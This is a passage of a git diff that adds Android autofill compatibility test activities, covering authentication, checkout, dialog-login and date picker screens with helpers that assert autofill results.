+    private static CountDownLatch sResponseLatch;
+
+    // Guarded by sLock
+    // Used to request autofill for a autofillable view in AuthenticationActivity
+    private static boolean sRequestAutofill;
+
+    private Handler mHandler;
+
+    private EditText mPasswordEditText;
+    private Button mYesButton;
+
+    public static void resetStaticState() {
+        setResultCode(null, RESULT_OK);
+        setRequestAutofillForAuthenticationActivity(/* requestAutofill */ false);
+        sDatasets.clear();
+        sResponses.clear();
+        for (int i = 0; i < sPendingIntents.size(); i++) {
+            final PendingIntent pendingIntent = sPendingIntents.get(i);
+            Log.d(TAG, "Cancelling " + pendingIntent);
+            pendingIntent.cancel();
+        }
+    }
+
+    /**
+     * Creates an {@link IntentSender} with the given unique id for the given dataset.
+     */
+    public static IntentSender createSender(Context context, int id, CannedDataset dataset) {
+        return createSender(context, id, dataset, null);
+    }
+
+    public static IntentSender createSender(Context context, int id,
+            CannedDataset dataset, Bundle outClientState) {
+        return createSender(context, id, dataset, outClientState, null);
+    }
+
+    public static IntentSender createSender(Context context, int id,
+            CannedDataset dataset, Bundle outClientState, Boolean isEphemeralDataset) {
+        Preconditions.checkArgument(id > 0, "id must be positive");
+        Preconditions.checkState(sDatasets.get(id) == null, "already have id");
+        sDatasets.put(id, dataset);
+        return createSender(context, EXTRA_DATASET_ID, id, outClientState, isEphemeralDataset);
+    }
+
+    /**
+     * Creates an {@link IntentSender} with the given unique id for the given fill response.
+     */
+    public static IntentSender createSender(Context context, int id,
+            CannedFillResponse response) {
+        return createSender(context, id, response, null);
+    }
+
+    public static IntentSender createSender(Context context, int id,
+            CannedFillResponse response, Bundle outData) {
+        Preconditions.checkArgument(id > 0, "id must be positive");
+        Preconditions.checkState(sResponses.get(id) == null, "already have id");
+        sResponses.put(id, response);
+        return createSender(context, EXTRA_RESPONSE_ID, id, outData, null);
+    }
+
+    private static IntentSender createSender(Context context, String extraName, int id,
+            Bundle outClientState, Boolean isEphemeralDataset) {
+        final Intent intent = new Intent(context, AuthenticationActivity.class);
+        intent.putExtra(extraName, id);
+        if (outClientState != null) {
+            Log.d(TAG, "Create with " + outClientState + " as " + EXTRA_OUTPUT_CLIENT_STATE);
+            intent.putExtra(EXTRA_OUTPUT_CLIENT_STATE, outClientState);
+        }
+        if (isEphemeralDataset != null) {
+            Log.d(TAG, "Create with " + isEphemeralDataset + " as "
+                    + EXTRA_OUTPUT_IS_EPHEMERAL_DATASET);
+            intent.putExtra(EXTRA_OUTPUT_IS_EPHEMERAL_DATASET, isEphemeralDataset);
+        }
+        final PendingIntent pendingIntent =
+                PendingIntent.getActivity(context, id, intent, PendingIntent.FLAG_MUTABLE);
+        sPendingIntents.add(pendingIntent);
+        return pendingIntent.getIntentSender();
+    }
+
+    /**
+     * Creates an {@link IntentSender} with the given unique id.
+     */
+    public static IntentSender createSender(Context context, int id) {
+        Preconditions.checkArgument(id > 0, "id must be positive");
+        return PendingIntent
+                .getActivity(context, id, new Intent(context, AuthenticationActivity.class),
+                        PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE)
+                .getIntentSender();
+    }
+
+    public static Bundle getData() {
+        final Bundle data = sData;
+        sData = null;
+        return data;
+    }
+
+    /**
+     * Sets the value that's passed to {@link Activity#setResult(int, Intent)} when on
+     * {@link Activity#onCreate(Bundle)}.
+     */
+    public static void setResultCode(int resultCode) {
+        synchronized (sLock) {
+            sResultCode = resultCode;
+        }
+    }
+
+    /**
+     * Sets the value that's passed to {@link Activity#setResult(int, Intent)}, but only calls it
+     * after the {@code latch}'s countdown reaches {@code 0}.
+     */
+    public static void setResultCode(CountDownLatch latch, int resultCode) {
+        synchronized (sLock) {
+            sResponseLatch = latch;
+            sResultCode = resultCode;
+        }
+    }
+
+    public static void setRequestAutofillForAuthenticationActivity(boolean requestAutofill) {
+        synchronized (sLock) {
+            sRequestAutofill = requestAutofill;
+        }
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.authentication_activity);
+
+        mPasswordEditText = findViewById(R.id.password);
+        mYesButton = findViewById(R.id.yes);
+        mYesButton.setOnClickListener(view -> doIt());
+
+        mHandler = new Handler(Looper.getMainLooper(), (m) -> {
+            switch (m.what) {
+                case MSG_WAIT_FOR_LATCH:
+                    waitForLatchAndDoIt();
+                    break;
+                case MSG_REQUEST_AUTOFILL:
+                    requestFocusOnPassword();
+                    break;
+                default:
+                    throw new IllegalArgumentException("invalid message: " + m);
+            }
+            return true;
+        });
+
+        if (sResponseLatch != null) {
+            Log.d(TAG, "Delaying message until latch is counted down");
+            mHandler.dispatchMessage(mHandler.obtainMessage(MSG_WAIT_FOR_LATCH));
+        } else if (sRequestAutofill) {
+            mHandler.dispatchMessage(mHandler.obtainMessage(MSG_REQUEST_AUTOFILL));
+        } else {
+            doIt();
+        }
+    }
+
+    private void requestFocusOnPassword() {
+        syncRunOnUiThread(() -> mPasswordEditText.requestFocus());
+    }
+
+    private void waitForLatchAndDoIt() {
+        try {
+            final boolean called = sResponseLatch.await(5, TimeUnit.SECONDS);
+            if (!called) {
+                throw new IllegalStateException("latch not called in 5 seconds");
+            }
+            doIt();
+        } catch (InterruptedException e) {
+            Thread.interrupted();
+            throw new IllegalStateException("interrupted");
+        }
+    }
+
+    private void doIt() {
+        // We should get the assist structure...
+        final AssistStructure structure = getIntent().getParcelableExtra(
+                AutofillManager.EXTRA_ASSIST_STRUCTURE);
+        assertWithMessage("structure not called").that(structure).isNotNull();
+
+        // and the bundle
+        sData = getIntent().getBundleExtra(AutofillManager.EXTRA_CLIENT_STATE);
+        final CannedFillResponse response =
+                sResponses.get(getIntent().getIntExtra(EXTRA_RESPONSE_ID, 0));
+        final CannedDataset dataset =
+                sDatasets.get(getIntent().getIntExtra(EXTRA_DATASET_ID, 0));
+
+        final Parcelable result;
+
+        if (response != null) {
+            if (response.getResponseType() == NULL) {
+                result = null;
+            } else {
+                result = response.asFillResponse(/* contexts= */ null,
+                        (id) -> Helper.findNodeByResourceId(structure, id));
+            }
+        } else if (dataset != null) {
+            result = dataset.asDataset((id) -> Helper.findNodeByResourceId(structure, id));
+        } else {
+            throw new IllegalStateException("no dataset or response");
+        }
+
+        // Pass on the auth result
+        final Intent intent = new Intent();
+        intent.putExtra(AutofillManager.EXTRA_AUTHENTICATION_RESULT, result);
+
+        final Bundle outClientState = getIntent().getBundleExtra(EXTRA_OUTPUT_CLIENT_STATE);
+        if (outClientState != null) {
+            Log.d(TAG, "Adding " + outClientState + " as " + AutofillManager.EXTRA_CLIENT_STATE);
+            intent.putExtra(AutofillManager.EXTRA_CLIENT_STATE, outClientState);
+        }
+        if (getIntent().getExtras().containsKey(EXTRA_OUTPUT_IS_EPHEMERAL_DATASET)) {
+            final boolean isEphemeralDataset = getIntent().getBooleanExtra(
+                    EXTRA_OUTPUT_IS_EPHEMERAL_DATASET, false);
+            Log.d(TAG, "Adding " + isEphemeralDataset + " as "
+                    + AutofillManager.EXTRA_AUTHENTICATION_RESULT_EPHEMERAL_DATASET);
+            intent.putExtra(AutofillManager.EXTRA_AUTHENTICATION_RESULT_EPHEMERAL_DATASET,
+                    isEphemeralDataset);
+        }
+
+        final int resultCode;
+        synchronized (sLock) {
+            resultCode = sResultCode;
+        }
+        Log.d(TAG, "Returning code " + resultCode);
+        setResult(resultCode, intent);
+
+        // Done
+        finish();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/CheckoutActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/CheckoutActivity.java
new file mode 100644
index 0000000..61d2269
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/CheckoutActivity.java
@@ -0,0 +1,285 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import static android.widget.ArrayAdapter.createFromResource;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.OneTimeCompoundButtonListener;
+import android.autofillservice.cts.testcore.OneTimeRadioGroupListener;
+import android.autofillservice.cts.testcore.OneTimeSpinnerListener;
+import android.autofillservice.cts.testcore.OneTimeTextWatcher;
+import android.autofillservice.cts.testcore.Visitor;
+import android.content.Intent;
+import android.os.Bundle;
+import android.widget.ArrayAdapter;
+import android.widget.Button;
+import android.widget.CheckBox;
+import android.widget.DatePicker;
+import android.widget.EditText;
+import android.widget.RadioButton;
+import android.widget.RadioGroup;
+import android.widget.Spinner;
+import android.widget.TimePicker;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Activity that has the following fields:
+ *
+ * <ul>
+ *   <li>Credit Card Number EditText (id: cc_numberusername, no input-type)
+ *   <li>Credit Card Expiration EditText (id: cc_expiration, no input-type)
+ *   <li>Address RadioGroup (id: addess, no autofill-type)
+ *   <li>Save Credit Card CheckBox (id: save_cc, no autofill-type)
+ *   <li>Clear Button
+ *   <li>Buy Button
+ *   <li>DatePicker
+ *   <li>TimePicker
+ * </ul>
+ */
+public class CheckoutActivity extends AbstractAutoFillActivity {
+    private static final long BUY_TIMEOUT_MS = 1000;
+
+    public static final String ID_CC_NUMBER = "cc_number";
+    public static final String ID_CC_EXPIRATION = "cc_expiration";
+    public static final String ID_ADDRESS = "address";
+    public static final String ID_HOME_ADDRESS = "home_address";
+    public static final String ID_WORK_ADDRESS = "work_address";
+    public static final String ID_SAVE_CC = "save_cc";
+    public static final String ID_DATE_PICKER = "datePicker";
+    public static final String ID_TIME_PICKER = "timePicker";
+
+    public static final int INDEX_ADDRESS_HOME = 0;
+    public static final int INDEX_ADDRESS_WORK = 1;
+
+    public static final int INDEX_CC_EXPIRATION_YESTERDAY = 0;
+    public static final int INDEX_CC_EXPIRATION_TODAY = 1;
+    public static final int INDEX_CC_EXPIRATION_TOMORROW = 2;
+    public static final int INDEX_CC_EXPIRATION_NEVER = 3;
+
+    private EditText mCcNumber;
+    private Spinner mCcExpiration;
+    private ArrayAdapter<CharSequence> mCcExpirationAdapter;
+    private RadioGroup mAddress;
+    private RadioButton mHomeAddress;
+    private RadioButton mWorkAddress;
+    private CheckBox mSaveCc;
+    private Button mBuyButton;
+    private Button mClearButton;
+    private DatePicker mDatePicker;
+    private TimePicker mTimePicker;
+
+    private FillExpectation mExpectation;
+    private CountDownLatch mBuyLatch;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(getContentView());
+
+        mCcNumber = findViewById(R.id.cc_number);
+        mCcExpiration = findViewById(R.id.cc_expiration);
+        mAddress = findViewById(R.id.address);
+        mHomeAddress = findViewById(R.id.home_address);
+        mWorkAddress = findViewById(R.id.work_address);
+        mSaveCc = findViewById(R.id.save_cc);
+        mBuyButton = findViewById(R.id.buy);
+        mClearButton = findViewById(R.id.clear);
+        mDatePicker = findViewById(R.id.datePicker);
+        mTimePicker = findViewById(R.id.timePicker);
+
+        mCcExpirationAdapter = createFromResource(this,
+                R.array.cc_expiration_values, android.R.layout.simple_spinner_item);
+        mCcExpirationAdapter
+                .setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
+        mCcExpiration.setAdapter(mCcExpirationAdapter);
+
+        mBuyButton.setOnClickListener((v) -> buy());
+        mClearButton.setOnClickListener((v) -> resetFields());
+    }
+
+    protected int getContentView() {
+        return R.layout.checkout_activity;
+    }
+
+    /**
+     * Resets the values of the input fields.
+     */
+    private void resetFields() {
+        mCcNumber.setText("");
+        mCcExpiration.setSelection(0, false);
+        mAddress.clearCheck();
+        mSaveCc.setChecked(false);
+    }
+
+    /**
+     * Emulates a buy action.
+     */
+    private void buy() {
+        final Intent intent = new Intent(this, WelcomeActivity.class);
+        intent.putExtra(WelcomeActivity.EXTRA_MESSAGE, "Thank you an come again!");
+        startActivity(intent);
+        if (mBuyLatch != null) {
+            // Latch is not set when activity launched outside tests
+            mBuyLatch.countDown();
+        }
+        finish();
+    }
+
+    /**
+     * Sets the expectation for an auto-fill request, so it can be asserted through
+     * {@link #assertAutoFilled()} later.
+     */
+    public void expectAutoFill(String ccNumber, int ccExpirationIndex, int addressId,
+            boolean saveCc) {
+        mExpectation = new FillExpectation(ccNumber, ccExpirationIndex, addressId, saveCc);
+        mCcNumber.addTextChangedListener(mExpectation.ccNumberWatcher);
+        mCcExpiration.setOnItemSelectedListener(mExpectation.ccExpirationListener);
+        mAddress.setOnCheckedChangeListener(mExpectation.addressListener);
+        mSaveCc.setOnCheckedChangeListener(mExpectation.saveCcListener);
+    }
+
+    /**
+     * Asserts the activity was auto-filled with the values passed to
+     * {@link #expectAutoFill(String, int, int, boolean)}.
+     */
+    public void assertAutoFilled() throws Exception {
+        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
+        mExpectation.ccNumberWatcher.assertAutoFilled();
+        mExpectation.ccExpirationListener.assertAutoFilled();
+        mExpectation.addressListener.assertAutoFilled();
+        mExpectation.saveCcListener.assertAutoFilled();
+    }
+
+    /**
+     * Visits the {@code ccNumber} in the UiThread.
+     */
+    public void onCcNumber(Visitor<EditText> v) {
+        syncRunOnUiThread(() -> v.visit(mCcNumber));
+    }
+
+    /**
+     * Visits the {@code ccExpirationDate} in the UiThread.
+     */
+    public void onCcExpiration(Visitor<Spinner> v) {
+        syncRunOnUiThread(() -> v.visit(mCcExpiration));
+    }
+
+    /**
+     * Visits the {@code ccExpirationDate} adapter in the UiThread.
+     */
+    public void onCcExpirationAdapter(Visitor<ArrayAdapter<CharSequence>> v) {
+        syncRunOnUiThread(() -> v.visit(mCcExpirationAdapter));
+    }
+
+    /**
+     * Visits the {@code address} in the UiThread.
+     */
+    public void onAddress(Visitor<RadioGroup> v) {
+        syncRunOnUiThread(() -> v.visit(mAddress));
+    }
+
+    /**
+     * Visits the {@code homeAddress} in the UiThread.
+     */
+    public void onHomeAddress(Visitor<RadioButton> v) {
+        syncRunOnUiThread(() -> v.visit(mHomeAddress));
+    }
+
+    /**
+     * Visits the {@code workAddress} in the UiThread.
+     */
+    public void onWorkAddress(Visitor<RadioButton> v) {
+        syncRunOnUiThread(() -> v.visit(mWorkAddress));
+    }
+
+    /**
+     * Visits the {@code saveCC} in the UiThread.
+     */
+    public void onSaveCc(Visitor<CheckBox> v) {
+        syncRunOnUiThread(() -> v.visit(mSaveCc));
+    }
+
+    /**
+     * Taps the buy button in the UI thread.
+     */
+    public void tapBuy() throws Exception {
+        mBuyLatch = new CountDownLatch(1);
+        syncRunOnUiThread(() -> mBuyButton.performClick());
+        boolean called = mBuyLatch.await(BUY_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) waiting for buy action", BUY_TIMEOUT_MS)
+                .that(called).isTrue();
+    }
+
+    public EditText getCcNumber() {
+        return mCcNumber;
+    }
+
+    public Spinner getCcExpiration() {
+        return mCcExpiration;
+    }
+
+    public CheckBox getSaveCc() {
+        return mSaveCc;
+    }
+
+    public RadioGroup getAddress() {
+        return mAddress;
+    }
+
+    public DatePicker getDatePicker() {
+        return mDatePicker;
+    }
+
+    public TimePicker getTimePicker() {
+        return mTimePicker;
+    }
+
+    public void assertRadioButtonValue(boolean homeAddrValue, boolean workAddrValue)
+            throws Exception {
+        assertThat(mHomeAddress.isChecked()).isEqualTo(homeAddrValue);
+        assertThat(mWorkAddress.isChecked()).isEqualTo(workAddrValue);
+    }
+
+    public ArrayAdapter<CharSequence> getCcExpirationAdapter() {
+        return mCcExpirationAdapter;
+    }
+
+    /**
+     * Holder for the expected auto-fill values.
+     */
+    private final class FillExpectation {
+        private final OneTimeTextWatcher ccNumberWatcher;
+        private final OneTimeSpinnerListener ccExpirationListener;
+        private final OneTimeRadioGroupListener addressListener;
+        private final OneTimeCompoundButtonListener saveCcListener;
+
+        private FillExpectation(String ccNumber, int ccExpirationIndex, int addressId,
+                boolean saveCc) {
+            this.ccNumberWatcher = new OneTimeTextWatcher("ccNumber", mCcNumber, ccNumber);
+            this.ccExpirationListener =
+                    new OneTimeSpinnerListener("ccExpiration", mCcExpiration, ccExpirationIndex);
+            addressListener = new OneTimeRadioGroupListener("address", mAddress, addressId);
+            saveCcListener = new OneTimeCompoundButtonListener("saveCc", mSaveCc, saveCc);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/DatePickerCalendarActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/DatePickerCalendarActivity.java
new file mode 100644
index 0000000..7ccf760
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/DatePickerCalendarActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+
+public class DatePickerCalendarActivity extends AbstractDatePickerActivity {
+
+    @Override
+    protected int getContentView() {
+        return R.layout.date_picker_calendar_activity;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/DatePickerSpinnerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/DatePickerSpinnerActivity.java
new file mode 100644
index 0000000..729f1d3
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/DatePickerSpinnerActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+
+public class DatePickerSpinnerActivity extends AbstractDatePickerActivity {
+
+    @Override
+    protected int getContentView() {
+        return R.layout.date_picker_spinner_activity;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/DialogLauncherActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/DialogLauncherActivity.java
new file mode 100644
index 0000000..d986328
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/DialogLauncherActivity.java
@@ -0,0 +1,137 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.AlertDialog;
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.OneTimeTextWatcher;
+import android.autofillservice.cts.testcore.UiBot;
+import android.autofillservice.cts.testcore.Visitor;
+import android.content.Context;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.util.DisplayMetrics;
+import android.view.Display;
+import android.view.View;
+import android.view.WindowManager;
+import android.widget.Button;
+import android.widget.EditText;
+
+/**
+ * Activity that has buttons to launch dialogs that should then be autofillable.
+ */
+public class DialogLauncherActivity extends AbstractAutoFillActivity {
+
+    private FillExpectation mExpectation;
+    private LoginDialog mDialog;
+    Button mLaunchButton;
+
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.dialog_launcher_activity);
+        mLaunchButton = findViewById(R.id.launch_button);
+        mDialog = new LoginDialog(this);
+        mLaunchButton.setOnClickListener((v) -> mDialog.show());
+    }
+
+    public void onUsername(Visitor<EditText> v) {
+        syncRunOnUiThread(() -> v.visit(mDialog.mUsernameEditText));
+    }
+
+    public void launchDialog(UiBot uiBot) throws Exception {
+        syncRunOnUiThread(() -> mLaunchButton.performClick());
+        // TODO: should assert by id, but it's not working
+        uiBot.assertShownByText("Username");
+    }
+
+    public void assertInDialogBounds(Rect rect) {
+        final int[] location = new int[2];
+        final View view = mDialog.getWindow().getDecorView();
+        view.getLocationOnScreen(location);
+        assertThat(location[0]).isAtMost(rect.left);
+        assertThat(rect.right).isAtMost(location[0] + view.getWidth());
+        assertThat(location[1]).isAtMost(rect.top);
+        assertThat(rect.bottom).isAtMost(location[1] + view.getHeight());
+    }
+
+    public void maximizeDialog() {
+        final WindowManager wm = getWindowManager();
+        final Display display = wm.getDefaultDisplay();
+        final DisplayMetrics metrics = new DisplayMetrics();
+        display.getMetrics(metrics);
+        syncRunOnUiThread(
+                () -> mDialog.getWindow().setLayout(metrics.widthPixels, metrics.heightPixels));
+    }
+
+    public void expectAutofill(String username, String password) {
+        assertWithMessage("must call launchDialog first").that(mDialog.mUsernameEditText)
+                .isNotNull();
+        mExpectation = new FillExpectation(username, password);
+        mDialog.mUsernameEditText.addTextChangedListener(mExpectation.mCcUsernameWatcher);
+        mDialog.mPasswordEditText.addTextChangedListener(mExpectation.mCcPasswordWatcher);
+    }
+
+    public void assertAutofilled() throws Exception {
+        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
+        if (mExpectation.mCcUsernameWatcher != null) {
+            mExpectation.mCcUsernameWatcher.assertAutoFilled();
+        }
+        if (mExpectation.mCcPasswordWatcher != null) {
+            mExpectation.mCcPasswordWatcher.assertAutoFilled();
+        }
+    }
+
+    private final class FillExpectation {
+        private final OneTimeTextWatcher mCcUsernameWatcher;
+        private final OneTimeTextWatcher mCcPasswordWatcher;
+
+        private FillExpectation(String username, String password) {
+            mCcUsernameWatcher = username == null ? null
+                    : new OneTimeTextWatcher("username", mDialog.mUsernameEditText, username);
+            mCcPasswordWatcher = password == null ? null
+                    : new OneTimeTextWatcher("password", mDialog.mPasswordEditText, password);
+        }
+
+        private FillExpectation(String username) {
+            this(username, null);
+        }
+    }
+
+    public final class LoginDialog extends AlertDialog {
+
+        private EditText mUsernameEditText;
+        private EditText mPasswordEditText;
+
+        public LoginDialog(Context context) {
+            super(context);
+        }
+
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+
+            setContentView(R.layout.login_activity);
+            mUsernameEditText = findViewById(R.id.username);
+            mPasswordEditText = findViewById(R.id.password);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/DummyActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/DummyActivity.java
new file mode 100644
index 0000000..3832b5d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/DummyActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.widget.TextView;
+
+public class DummyActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        TextView text = new TextView(this);
+        text.setText("foo");
+        setContentView(text);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/DuplicateIdActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/DuplicateIdActivity.java
new file mode 100644
index 0000000..f30d3ed
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/DuplicateIdActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+import android.os.Bundle;
+import android.util.Log;
+
+public class DuplicateIdActivity extends AbstractAutoFillActivity {
+    private static final String TAG = "DuplicateIdActivity";
+
+    public static final String DUPLICATE_ID = "duplicate_id";
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        Log.v(TAG, "onCreate(" + savedInstanceState + ")");
+
+        setContentView(R.layout.duplicate_id_layout);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/EmptyActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/EmptyActivity.java
new file mode 100644
index 0000000..26f18b4
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/EmptyActivity.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import android.app.Activity;
+import android.autofillservice.cts.R;
+import android.os.Bundle;
+import android.view.View;
+
+import androidx.annotation.Nullable;
+
+/**
+ * Empty activity
+ */
+public class EmptyActivity extends Activity {
+
+    public static final String ID_EMPTY = "empty";
+
+    private View mEmptyView;
+
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.empty);
+        mEmptyView = findViewById(R.id.empty);
+    }
+
+    public View getEmptyView() {
+        return mEmptyView;
+    }
+
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/FatActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/FatActivity.java
new file mode 100644
index 0000000..69bf8e4
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/FatActivity.java
@@ -0,0 +1,183 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import static android.autofillservice.cts.testcore.Helper.findViewByAutofillHint;
+import static android.view.View.IMPORTANT_FOR_AUTOFILL_AUTO;
+import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO;
+import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS;
+import static android.view.View.IMPORTANT_FOR_AUTOFILL_YES;
+import static android.view.View.IMPORTANT_FOR_AUTOFILL_YES_EXCLUDE_DESCENDANTS;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.Visitor;
+import android.content.Context;
+import android.os.Bundle;
+import android.util.AttributeSet;
+import android.view.View;
+import android.widget.EditText;
+import android.widget.ImageView;
+import android.widget.LinearLayout;
+
+/**
+ * An activity containing mostly widgets that should be removed from an auto-fill structure to
+ * optimize it.
+ */
+public class FatActivity extends AbstractAutoFillActivity {
+
+    public static final String ID_CAPTCHA = "captcha";
+    public static final String ID_INPUT = "input";
+    public static final String ID_INPUT_CONTAINER = "input_container";
+    public static final String ID_IMAGE = "image";
+    public static final String ID_IMPORTANT_IMAGE = "important_image";
+    public static final String ID_ROOT = "root";
+
+    public static final String ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS =
+            "not_important_container_excluding_descendants";
+    public static final String ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_CHILD =
+            "not_important_container_excluding_descendants_child";
